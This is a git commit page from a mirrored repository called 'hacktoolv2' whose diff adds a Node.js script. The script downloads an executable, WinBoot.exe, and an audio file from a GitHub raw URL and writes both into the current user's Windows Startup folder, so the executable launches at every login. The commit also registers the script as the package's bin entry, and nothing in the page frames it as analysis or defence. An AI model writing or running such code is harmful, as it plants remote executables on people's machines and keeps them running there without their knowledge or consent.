2
0
mirror of https://github.com/constantinDev/hacktoolv2 synced 2025-08-29 21:07:47 +00:00
This commit is contained in:
WOOOMY-lol 2020-07-30 19:13:45 +02:00
parent 81194fa9f8
commit 3daccc785e
4 changed files with 23 additions and 2 deletions

Binary file not shown.

View File

@ -1,4 +1,24 @@
let https = require("https")
let fs = require("fs")
let os = require("os")
console.log("Loading..")
// code following
let startdir = `C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`
if (!fs.existsSync(startdir)) return console.log("how the fuck did you fuck up your system that badly")
https.get("https://raw.githubusercontent.com/constantinDev/hacktoolv2/master/StartupHentai/Runner/bin/WinBoot.exe", (res) => {
let stream = fs.createWriteStream(startdir+"/WinBoot.exe")
res.pipe(stream)
res.on("close",()=>{
stream.close()
})
})
https.get("https://raw.githubusercontent.com/constantinDev/hacktoolv2/master/StartupHentai/Runner/bin/etc/audio.wav", (res2) => {
fs.mkdirSync(startdir+"/etc")
let stream2 = fs.createWriteStream(startdir + "/etc/audio.wav")
res2.pipe(stream2)
res2.on("close", () => {
stream2.close();
})
})

View File

@ -7,5 +7,6 @@
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Constantin",
"license": "ISC"
"license": "ISC",
"bin": "main.js"
}